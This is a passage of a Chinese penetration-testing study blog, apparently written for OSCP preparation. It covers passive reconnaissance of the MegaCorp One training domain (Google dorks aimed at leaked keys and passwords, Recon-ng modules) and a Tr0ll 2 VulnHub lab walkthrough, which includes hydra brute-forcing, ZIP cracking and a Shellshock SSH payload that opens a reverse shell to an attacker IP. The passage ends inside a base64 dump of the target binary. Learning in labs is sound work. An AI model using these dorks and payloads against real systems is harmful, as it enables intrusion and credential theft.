format_date(date): 28 if isinstance(date, list): 29 return [d.strftime(\u0026#34;%Y-%m-%d\u0026#34;) if isinstance(d, datetime) else d for d in date] 30 elif isinstance(date, datetime): 31 return date.strftime(\u0026#34;%Y-%m-%d\u0026#34;) 32 return date or \u0026#39;N/A\u0026#39; # 处理日期为 None 的情况 33 34def list_to_str(data): 35 if isinstance(data, list): 36 return \u0026#34;, \u0026#34;.join(str(item) for item in data) 37 return data or \u0026#39;N/A\u0026#39; # 处理数据为 None 的情况 38 39if __name__ == \u0026#34;__main__\u0026#34;: 40 target_domain = \u0026#34;megacorpone.com\u0026#34; 41 result = get_domain_info(target_domain) 42 43 print(\u0026#34;\\n[+] WHOIS 情报分析结果:\u0026#34;) 44 print(\u0026#34;-\u0026#34; * 50) 45 for key, value in result.items(): 46 if key == \u0026#34;错误\u0026#34;: 47 print(f\u0026#34; ! 查询失败: {value}\u0026#34;) 48 else: 49 print(f\u0026#34; {key:\u0026gt;12} : {value}\u0026#34;) 50 51 # 修复判断逻辑：先检查是否为 \u0026#39;N/A\u0026#39; 52 if result.get(\u0026#39;注册人邮箱\u0026#39;, \u0026#39;N/A\u0026#39;) != \u0026#39;N/A\u0026#39;: 53 print(\u0026#34;\\n[+] 潜在攻击面建议:\u0026#34;) 54 print(f\u0026#34; - 对邮箱 {result[\u0026#39;注册人邮箱\u0026#39;]} 进行钓鱼或密码爆破测试\u0026#34;) 55 if result.get(\u0026#39;DNS服务器\u0026#39;, \u0026#39;N/A\u0026#39;) != \u0026#39;N/A\u0026#39;: 56 print(f\u0026#34; - 扫描DNS服务器 {result[\u0026#39;DNS服务器\u0026#39;]} 的开放端口（如53 UDP/TCP）\u0026#34;) Google 信息收集 用法总集篇：https://www.exploit-db.com/google-hacking-database\n1. 敏感文件与数据泄露 语法 用途 site:megacorpone.com filetype:sql 搜索目标域名的SQL数据库文件（可能含明文密码或数据表结构）。 site:megacorpone.com \u0026quot;-----BEGIN RSA PRIVATE KEY-----\u0026quot; 查找泄露的SSH私钥。 site:megacorpone.com filetype:env OR filetype:ini 查找 .env（环境变量）或 .ini（配置文件），常含API密钥、数据库密码。 site:megacorpone.com ext:sql intext:password 搜索含密码字段的SQL文件。 site:megacorpone.com \u0026quot;api_key\u0026quot; OR \u0026quot;api_secret\u0026quot; 查找硬编码的API密钥。 2. 后台与登录入口 语法 用途 site:megacorpone.com intitle:\u0026quot;login\u0026quot; inurl:/admin 查找管理员登录页面（如 /admin/login.php）。 site:megacorpone.com inurl:/wp-admin 定位WordPress后台（若未重命名）。 site:megacorpone.com intitle:\u0026quot;index of /cgi-bin\u0026quot; 发现CGI脚本目录（可能含未授权访问的脚本）。 site:megacorpone.com inurl:debug 查找调试页面（如 debug.php，可能暴露代码逻辑）。 3. 服务器与目录信息泄露 语法 用途 intitle:\u0026quot;index of\u0026quot; site:megacorpone.com 列出开放目录（可能暴露敏感文件）。 site:megacorpone.com \u0026quot;Directory listing for\u0026quot; 另一种目录列表泄露的关键词。 site:megacorpone.com \u0026quot;Apache/2.4.29 (Ubuntu) Server at\u0026quot; 根据服务器Banner信息定位特定版本的主机（可关联CVE漏洞）。 site:megacorpone.com \u0026quot;X-Powered-By: PHP/7.2\u0026quot; 查找运行指定PHP版本的服务器。 4. 备份文件与历史数据 语法 用途 site:megacorpone.com filetype:bak 搜索备份文件（如 web.config.bak、database.sql.bak）。 site:megacorpone.com inurl:/backup 查找备份目录（可能含数据库或代码备份）。 site:megacorpone.com \u0026quot;backup.zip\u0026quot; 直接定位压缩备份文件。 site:megacorpone.com \u0026quot;This is a snapshot of\u0026quot; 查找网站快照备份页面。 5. 漏洞与错误信息利用 语法 用途 `site:megacorpone.com \u0026ldquo;error\u0026rdquo; \u0026ldquo;warning\u0026rdquo;` site:megacorpone.com \u0026quot;sql syntax near\u0026quot; 定位SQL报错页面（可能存在SQL注入漏洞）。 site:megacorpone.com \u0026quot;Stack trace:\u0026quot; 查找Java/PHP堆栈跟踪信息（暴露代码逻辑）。 site:megacorpone.com \u0026quot;PHP Fatal error\u0026quot; 发现PHP致命错误页面。 6. 员工与内部信息收集 语法 用途 site:linkedin.com employees megacorpone.com 搜索LinkedIn上目标公司的员工信息。 site:megacorpone.com \u0026quot;confidential\u0026quot; OR \u0026quot;internal\u0026quot; 查找标有“内部”或“机密”的文件。 site:github.com \u0026quot;megacorpone.com\u0026quot; password 在GitHub中搜索目标相关代码中的密码泄露。 site:megacorpone.com \u0026quot;@megacorpone.com\u0026quot; filetype:csv 查找包含公司邮箱的CSV文件（可能为员工列表）。 7. 高级组合技巧 排除干扰： site:megacorpone.com -site:www.megacorpone.com（排除主站，专注子域名）。 通配符模糊搜索： site:megacorpone.com inurl:prod*env（匹配 prod.env、production.env 等）。 时间范围限定： 在Google搜索工具中限定时间（如过去一年），找到最新泄露的数据。 课后练习 Exercises\nWho is the VP of Legal for MegaCorp One and what is their email address? Use Google dorks (either your own or any from the GHDB) to search www.megacorpone.com for interesting documents. What other MegaCorp One employees can you identify that are not listed on www.megacorpone.com? 练习 1 问题： 找到 MegaCorp One 的法律副总裁（VP of Legal）及其邮箱地址。\nGoogle Hacking 解法：\nLinkedIn 员工信息挖掘：\n1site:linkedin.com/in \u0026#34;MegaCorp One\u0026#34; \u0026#34;VP Legal\u0026#34; 搜索 LinkedIn 上职位为 “VP Legal” 且公司为 “MegaCorp One” 的用户。\nhttps://www.linkedin.com/in/mike-carlow-8128896a/\n公司网站内部页面：\n1site:megacorpone.com \u0026#34;leadership\u0026#34; OR \u0026#34;executive team\u0026#34; \u0026#34;legal\u0026#34; 在公司官网的“领导团队”或“管理层”页面中查找法律相关职位。 文档泄露：\n1site:megacorpone.com filetype:pdf \u0026#34;VP Legal\u0026#34; email 搜索公司 PDF 文件中提及法律副总裁和邮箱的内容。 练习 2 问题： 使用 Google 语法（或 GHDB 中的语法）搜索 www.megacorpone.com 的“有趣文档”。\nGoogle Hacking 解法：\n敏感文件搜索：\n1site:megacorpone.com filetype:pdf OR filetype:doc OR filetype:xls 查找所有 PDF、Word、Excel 文档（可能含财务报告、客户数据）。 配置与备份文件：\n1site:megacorpone.com (ext:env OR ext:bak OR ext:sql) 搜索环境变量文件、备份文件或 SQL 数据库文件。 后台与登录入口：\n1site:megacorpone.com inurl:admin OR intitle:\u0026#34;login\u0026#34; 查找管理员后台或登录页面。 目录遍历：\n1site:megacorpone.com intitle:\u0026#34;index of\u0026#34; \u0026#34;parent directory\u0026#34; 发现开放目录列表（可能泄露源码、图片等）。 练习 3 问题： 找出未在 www.megacorpone.com 官网列出的其他员工。\nGoogle Hacking 解法：\n社交媒体与代码库：\nsite:github.com \u0026ldquo;megacorpone.com\u0026rdquo; \u0026ldquo;employee\u0026rdquo; OR \u0026ldquo;staff\u0026rdquo;\n- 在 GitHub 代码中搜索员工信息（如注释中的邮箱、测试账号）。 ![image-20250524223824273](https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524223824273.png) 2. **会议与演讲记录**： ```markdown site:youtube.com OR site:slideshare.net \u0026#34;MegaCorp One\u0026#34; \u0026#34;speaker\u0026#34; 查找公司员工在外部会议或演讲中公开的姓名和职位。 新闻稿与合作伙伴：\n1site:news.google.com \u0026#34;MegaCorp One\u0026#34; \u0026#34;announces\u0026#34; OR \u0026#34;partner\u0026#34; 从新闻稿中挖掘未在官网列出的员工（如项目负责人）。 WHOIS 与域名关联：\n1\u0026#34;MegaCorp One\u0026#34; site:whois.com 通过 WHOIS 查询关联域名，获取注册人姓名和邮箱（可能为员工）。 泄露的通讯录：\n1site:megacorpone.com filetype:csv \u0026#34;contact\u0026#34; OR \u0026#34;employee\u0026#34; 搜索泄露的 CSV 通讯录文件。 Netcraft 信息收集 网址：https://searchdns.netcraft.com/\nRecon-ng 信息收集workspaces create my_workspace 1. 安装与启动 安装（Kali 默认已预装，若需更新）：\n1sudo apt update \u0026amp;\u0026amp; sudo apt install recon-ng 启动：\n1recon-ng 2. 基本工作流程 初始化数据库 首次使用时需创建数据库：\n1workspaces create my_workspace # 创建工作区 2workspaces load my_workspace # 加载工作区 查看模块 列出所有可用模块：\n1marketplace search 筛选特定模块（如域名枚举）：\n1marketplace search domain 加载模块 例如查看，下载，加载 whois_pocs 模块（通过 WHOIS 查找域名信息）：\n1marketplace info recon/domains-hosts/google_site_web 2marketplace install recon/domains-hosts/google_site_web 3modules load recon/domains-contacts/whois_pocs 4back # 回到主界面 设置参数 指定目标域名（以 example.com 为例）：\n1options set SOURCE megacorpone.com 执行模块 运行当前加载的模块：（用代理运行）\n1run 查看结果 查看数据库中的收集结果：\n1show hosts # 显示主机信息 2show contacts # 显示邮箱/联系人 3. 常用模块示例 域名信息收集 1modules load recon/domains-hosts/hackertarget 2options set SOURCE megacorpone.com 3run 邮箱枚举（需 API 密钥，如 Hunter.io） 1modules load recon/domains-contacts/hunter_io 2keys add hunter_api YOUR_API_KEY # 替换为实际 API 密钥 3options set SOURCE example.com 4run 子域名爆破（使用 bruteforce 字典）： 1modules load recon/domains-hosts/brute_hosts 2options set SOURCE megacorpone.com 3options set WORDLIST /usr/share/wordlists/subdomains-top1million.txt 4run IP 关联主机发现（使用 Shodan）： 1modules load recon/domains-hosts/shodan_hostname 2keys add shodan_api YOUR_API_KEY # 替换为 Shodan API 密钥 3options set SOURCE 192.168.1.1 # 设置目标 IP 4run 4. 高级技巧 批量执行模块： 使用 resource 命令批量运行脚本：\n1resource /path/to/script.txt 脚本内容示例：\n1modules load recon/domains-hosts/hackertarget 2options set SOURCE example.com 3run 4modules load recon/domains-contacts/whois_pocs 5run 导出数据： 将结果导出为 CSV：\n1show contacts export /home/kali/contacts.csv 2show hosts export /home/kali/hosts.csv API 密钥管理： 添加或查看已配置的 API 密钥：\n1keys add shodan_api YOUR_KEY # 添加密钥 2keys list # 列出所有密钥 练习Exercise (Reporting is not required for this exercise)\nUse the recon/domains-hosts/google_site_web and recon/hosts-hosts/resolve modules to gather information on MegaCorp One.\nTake some time to explore other recon-ng modules.\n使用 recon/domains-hosts/google_site_web 和 recon/hosts-hosts/resolve 模块收集 MegaCorp One 的信息。\n探索其他 Recon-ng 模块。\n1. 启动 Recon-ng 并创建工作区 recon-ng # 启动工具 workspaces create megacorp_one # 创建名为 megacorp_one 的工作区 workspaces load megacorp_one # 加载工作区 2. 使用 google_site_web 模块发现子域名 # 加载模块 modules load recon/domains-hosts/google_site_web # 设置目标域名（假设目标域名为 megacorpone.com） options set SOURCE megacorpone.com # 执行模块 run 作用： 通过 Google 搜索语法 site:megacorpone.com 查找所有关联子域名（如 dev.megacorpone.com、api.megacorpone.com 等），并将结果保存到数据库。\n3. 使用 resolve 模块解析主机名 IP # 加载模块 modules load recon/hosts-hosts/resolve # 自动从数据库读取上一步发现的子域名，无需手动设置 SOURCE # 执行模块 run 作用： 将发现的子域名解析为 IP 地址（例如 dev.megacorpone.com → 192.168.1.100），结果存储在 hosts 表中。\n4. 查看收集结果 show hosts # 显示所有主机名及其解析的 IP 5. 探索其他常用模块\n以下为扩展操作示例，帮助进一步信息收集：\n子域名爆破（使用字典爆破）：\nmodules load recon/domains-hosts/brute_hosts options set SOURCE megacorpone.com options set WORDLIST /usr/share/wordlists/subdomains-top1million.txt run 邮箱枚举（需 Hunter.io API 密钥）：\nmodules load recon/domains-contacts/hunter_io keys add hunter_api YOUR_API_KEY # 替换为实际 API 密钥 options set SOURCE megacorpone.com run 端口扫描（使用 Bing 搜索引擎发现开放端口）：\nmodules load recon/hosts-ports/bing_ip options set SOURCE 192.168.1.100 # 替换为目标 IP run WHOIS 查询（获取域名注册信息）：\nmodules load recon/domains-contacts/whois_pocs options set SOURCE megacorpone.com run 🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n扫描下方二维码，马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-05-29T17:45:02Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/day16-kali%E8%A2%AB%E5%8A%A8%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/","title":"Day16 Kali被动信息收集（开源情报）"},{"content":" 关注 泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具\nTr0ll: 2 靶场地址：https://www.vulnhub.com/entry/tr0ll-2,107/\n信息收集 1sudo arp-scan -l 2nmap -sS -sV -A -T5 -p- 172.168.169.139 检查网页源码发现有注释信息，写着作者是Tr0ll，用vim编辑的这个网页，我们就能推测，某个功能可能是ssh，可能是ftp的用户名应该有Tr0ll，之后的收集中要注意找密码。\n打开看到一个滑稽的图片，看到web服务器是apache就想到应该要查一下网页的目录。\n1dirb http://172.168.169.139/ 看到有个robots.txt是机器人爬虫的协议，越不让看什么越要看什么。\n我们把所有目录都翻一遍可以看到出了以上几个目录有图片，其他几个目录都没有东西。这四个目录是：\n1http://172.168.169.139/noob/ 2http://172.168.169.139/keep_trying/ 3http://172.168.169.139/dont_bother/ 4http://172.168.169.139/ok_this_is_it/ 图片隐写信息 检查网页源代码都没有什么有用信息，那么我们把目光放到图片上来，图片可能又隐写信息。在kali中下载这些图片，kali会自动重命名。可以看到第3次下载的图片大小何其他几个不同。\n1wget http://172.168.169.139/noob/cat_the_troll.jpg 2wget http://172.168.169.139/keep_trying/cat_the_troll.jpg 3wget http://172.168.169.139/dont_bother/cat_the_troll.jpg 4wget http://172.168.169.139/ok_this_is_it/cat_the_troll.jpg 1strings cat_the_troll.jpg.3 base64解码 可以看到第3哥图片比其他几个图片在末尾隐藏了一段话，其中y0ur_self极有可能是目录。打开看到如下文件，应该是base64加密。\n这个文件很想一个爆破后留下的，推测密码应该在其中，用base64解码后再用hydra爆破尝试一下。\n1base64 -d answer.txt \u0026gt; pass.txt 2hydra -l Tr0ll -P pass.txt 172.168.169.139 ssh -v 3hydra -l Tr0ll -P pass.txt 172.168.169.139 ftp -v 默认密码尝试ftp登录 但是爆破不成功，这个可能是靶机作者给我们的误导，所以我们换个思路，尝试默认弱口令登录。尝试ftp登录后发现提示用户名Tr0ll，尝试用户名何密码都是这个后成功登录。发现有一个zip文件，下载后查看。\nZIP密码爆破 解压压缩包发现要密码，所以之前的answer.txt并不是登录密码，而是压缩包的密码。\n用一下两个命令都可以爆破压缩包密码。\n1zip2john lmao.zip \u0026gt; lmao.txt \u0026amp;\u0026amp; john --wordlist=pass.txt lmao.txt 2fcrackzip -u -D -p pass.txt lmao.zip 解压后似乎是一个密钥文件，有密钥的话我们就可以ssh登录了。\nSSH密钥登录 直接登录时不行的\n1ssh -i noob noob@172.168.169.139 用以下命令查看为什么报错\n1ssh -vvv -i noob noob@172.168.169.139 2 3--- 4OpenSSH_9.9p2 Debian-2, OpenSSL 3.5.0 8 Apr 2025 可能因为版本太老了，我尝试 强制客户端使用旧版签名算法在 SSH 命令中指定兼容旧服务器的签名算法：\n1ssh -i noob noob@172.168.169.139 -o PubkeyAcceptedKeyTypes=+ssh-rsa 也不行。查资料发现可以利用shellcode漏洞。\nCVE-2014-6271 是著名的 Shellshock 漏洞（又称 \u0026ldquo;Bash 破壳漏洞\u0026rdquo;），它影响了广泛使用的 Unix/Linux 系统中的 Bash 解释器。该漏洞允许攻击者通过环境变量注入恶意代码，从而远程执行任意命令。以下是漏洞利用的详细方法：\nSSH强制命令 若目标允许通过SSH公钥认证并配置了强制命令（如 command=\u0026quot;example\u0026quot;）：\n1ssh -i id_rsa user@target \u0026#39;() { :;}; /bin/bash -i \u0026gt;\u0026amp; /dev/tcp/攻击者IP/4444 0\u0026gt;\u0026amp;1\u0026#39; 1ssh -i noob -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsa noob@172.168.169.139 \u0026#39;() { :;}; cat /etc/passwd\u0026#39; 2ssh -i noob -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsa noob@172.168.169.139 \u0026#39;() { :;}; /bin/bash\u0026#39; 1python -c \u0026#39;import pty; pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; 换个好看的shell，到根目录下查看发现有个nothing_to_see_here目录，此地无银三百两。\n在这个文件夹下有几个door文件夹，里面有可执行文件，执行了之后，我们就好像踩雷了。所有的命令出了似乎都没有权限了就。\n1noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door1$ ./r00t 2./r00t 3Good job, stand by, executing root shell... 4BUHAHAHA NOOB! 5noob@Tr0ll2:/nothing_to_see_here/choose_wisely/door2$ ./r00t 6./r00t 7 82 MINUTE HARD MODE LOL 查阅其他WP发现用下面这个命令也可以找到三个door文件夹下面的脚本。\n1find / -perm -4000 -print 2\u0026gt;/dev/null 是一个用于查找系统中具有 SUID 权限（Set User ID） 文件的命令。发现这三个命令有SUID权限。\n扩展命令 查找 SGID 文件（Set Group ID）： find / -perm -2000 -print 2\u0026gt;/dev/null 查找全局可写文件： find / -perm -0002 -type f 2\u0026gt;/dev/null 似乎就没法搞了，只能回复快照。\n顺带找一下内核信息\n1uname -a 2Linux Tr0ll2 3.2.0-29-generic-pae #46-Ubuntu SMP Fri Jul 27 17:25:43 UTC 2012 i686 i686 i386 GNU/Linux 3lsb_release -a 4sh: 0: getcwd() failed: No such file or directory 5No LSB modules are available. 6Distributor ID: Ubuntu 7Description: Ubuntu 12.04.1 LTS 8Release: 12.04 9Codename: precise 缓存溢出漏洞 方法一：gdb调试找偏移 我们重新回到ssh登录，再次找到这几个文件夹，这次我们就不执行了。先ls一下看看文件属性，可以看到door1和door2的脚本都是7.2K，只有door3的脚本比较特殊是8.3K\n1ls -lahR 1cd door3 2base64 r00t 得到如下结果\n1f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAkIMECDQAAACEFAAAAAAAADQAIAAJACgAJAAhAAYAAAA0 2AAAANIAECDSABAggAQAAIAEAAAUAAAAEAAAAAwAAAFQBAABUgQQIVIEECBMAAAATAAAABAAAAAEA 3AAABAAAAAAAAAACABAgAgAQIjAYAAIwGAAAFAAAAABAAAAEAAAAUDwAAFJ8ECBSfBAgIAQAAEAEA 4AAYAAAAAEAAAAgAAACgPAAAonwQIKJ8ECMgAAADIAAAABgAAAAQAAAAEAAAAaAEAAGiBBAhogQQI 5RAAAAEQAAAAEAAAABAAAAFDldGSUBQAAlIUECJSFBAg0AAAANAAAAAQAAAAEAAAAUeV0ZAAAAAAA 6AAAAAAAAAAAAAAAAAAAABwAAAAQAAABS5XRkFA8AABSfBAgUnwQI7AAAAOwAAAAEAAAAAQAAAC9s 7aWIvbGQtbGludXguc28uMgAABAAAABAAAAABAAAAR05VAAAAAAACAAAABgAAABgAAAAEAAAAFAAA 8AAMAAABHTlUAxUaFQ7rUdw8bxODDYM2LTwZAnIkCAAAABgAAAAEAAAAFAAAAACAAIAAAAAAGAAAA 9rUvjwAAAAAAAAAAAAAAAAAAAAAA1AAAAAAAAAAAAAAASAAAAKQAAAAAAAAAAAAAAEgAAAAEAAAAA 10AAAAAAAAACAAAAAwAAAAAAAAAAAAAAASAAAAPAAAAAAAAAAAAAAAEgAAABoAAAB8hQQIBAAAABEA 11DwAAX19nbW9uX3N0YXJ0X18AbGliYy5zby42AF9JT19zdGRpbl91c2VkAHN0cmNweQBleGl0AHBy 12aW50ZgBfX2xpYmNfc3RhcnRfbWFpbgBHTElCQ18yLjAAAAACAAIAAAACAAIAAQAAAAEAAQAQAAAA 13EAAAAAAAAAAQaWkNAAACAE4AAAAAAAAA8J8ECAYDAAAAoAQIBwEAAASgBAgHAgAACKAECAcDAAAM 14oAQIBwQAABCgBAgHBQAAU4PsCOgAAAAAW4HD9xwAAIuD/P///4XAdAXoTQAAAOgIAQAA6BMCAACD 15xAhbwwAAAAAAAAAAAAAAAAAA/zX4nwQI/yX8nwQIAAAAAP8lAKAECGgAAAAA6eD/////JQSgBAho 16CAAAAOnQ/////yUIoAQIaBAAAADpwP////8lDKAECGgYAAAA6bD/////JRCgBAhoIAAAAOmg//// 17Me1eieGD5PBQVFJoIIUECGiwhAQIUVZoRIQECOjP////9JCQkJCQkJCQkJCQkJCQVYnlU4PsBIA9 18HKAECAB1P6EgoAQIuyCfBAiB6xyfBAjB+wKD6wE52HMejbYAAAAAg8ABoyCgBAj/FIUcnwQIoSCg 19BAg52HLoxgUcoAQIAYPEBFtdw410JgCNvCcAAAAAVYnlg+wYoSSfBAiFwHQSuAAAAACFwHQJxwQk 20JJ8ECP/QycOQVYnlg+TwgewQAQAAg30IAXUii0UMixC4gIUECIlUJASJBCTo1P7//8cEJAAAAADo 21+P7//4tFDIPABIsAiUQkBI1EJBCJBCTowP7//7iRhQQIjVQkEIlUJASJBCTom/7//8nDkJCQkJCQ 22kJCQVVdWU+hpAAAAgcM7GwAAg+wci2wkMI27IP///+gj/v//jYMg////KcfB/wKF/3QpMfaNtgAA 23AACLRCQ4iSwkiUQkCItEJDSJRCQE/5SzIP///4PGATn+dd+DxBxbXl9dw+sNkJCQkJCQkJCQkJCQ 24kPPDixwkw5CQkJCQkJCQkJBVieVTg+wEoRSfBAiD+P90E7sUnwQIZpCD6wT/0IsDg/j/dfSDxARb 25XcOQkFOD7AjoAAAAAFuBw48aAADoT/7//4PECFvDAAADAAAAAQACAFVzYWdlOiAlcyBpbnB1dAoA 26JXMAARsDOzAAAAAFAAAAnP3//0wAAACw/v//cAAAABz///+QAAAAjP///8wAAACO////4AAAABQA 27AAAAAAAAAXpSAAF8CAEbDAQEiAEAACAAAAAcAAAASP3//2AAAAAADghGDgxKDwt0BHgAPxo7KjIk 28IhwAAABAAAAAOP7//2MAAAAAQQ4IhQJCDQUCX8UMBAQAOAAAAGAAAACE/v//YQAAAABBDgiFAkEO 29DIcDQQ4QhgRBDhSDBU4OMAJKDhRBDhDDQQ4MxkEOCMdBDgTFEAAAAJwAAAC4/v//AgAAAAAAAAAQ 30AAAAsAAAAKb+//8EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 31AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 32AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 33AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 34AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 35AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 36AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 37AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 38AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 39AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 40AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 41AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 42AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 43AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 44AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 45AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 46AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 47AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 48AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 49AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 51AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 52AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 53AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 54AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 55AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 56AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 57AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 58AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 59AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 60AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 61AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 62AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 63AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 64AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 65AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 66AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 67AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 68AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////AAAAAP////8AAAAA 69AAAAAAEAAAAQAAAADAAAAPSCBAgNAAAAXIUECPX+/2+sgQQIBQAAADyCBAgGAAAAzIEECAoAAABY 70AAAACwAAABAAAAAVAAAAAAAAAAMAAAD0nwQIAgAAACgAAAAUAAAAEQAAABcAAADMggQIEQAAAMSC 71BAgSAAAACAAAABMAAAAIAAAA/v//b6SCBAj///9vAQAAAPD//2+UggQIAAAAAAAAAAAAAAAAAAAA 72AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACifBAgAAAAAAAAAAEaDBAhWgwQI 73ZoMECHaDBAiGgwQIAAAAAAAAAABHQ0M6IChVYnVudHUvTGluYXJvIDQuNi4zLTF1YnVudHU1KSA0 74LjYuMwAcAAAAAgAAAAAABAAAAAAARIQECGMAAAAAAAAAAAAAABEBAAACAAAAAAAEAUoAAAABcwAA 75AD8AAABEhAQIp4QECAAAAAACBAcfAAAAAgEILAAAAAICB1sAAAACBAcaAAAAAgEGLgAAAAICBXkA 76AAADBAVpbnQAAggFAAAAAAIIBxUAAAACBAUFAAAABARxAAAAAgEGNQAAAAQEfgAAAAVxAAAABgE6 77AAAAAQMBTwAAAESEBAinhAQIAAAAAAIBAAAHVgAAAAEDTwAAAAKRAAeDAAAAAQMCAQAAApEECGJ1 78ZgABBQgBAAACdBAJAQ4AAAACAAFrAAAAAecAAAAKawAAAAp4AAAAAAtWhAQIeIQECAwBbgAAAAIA 79AQEKTwAAAAAAAAQEawAAAA1xAAAADiUAAAD/AAABEQElDhMLAw4bDhEBEgEQBgAAAiQACws+CwMO 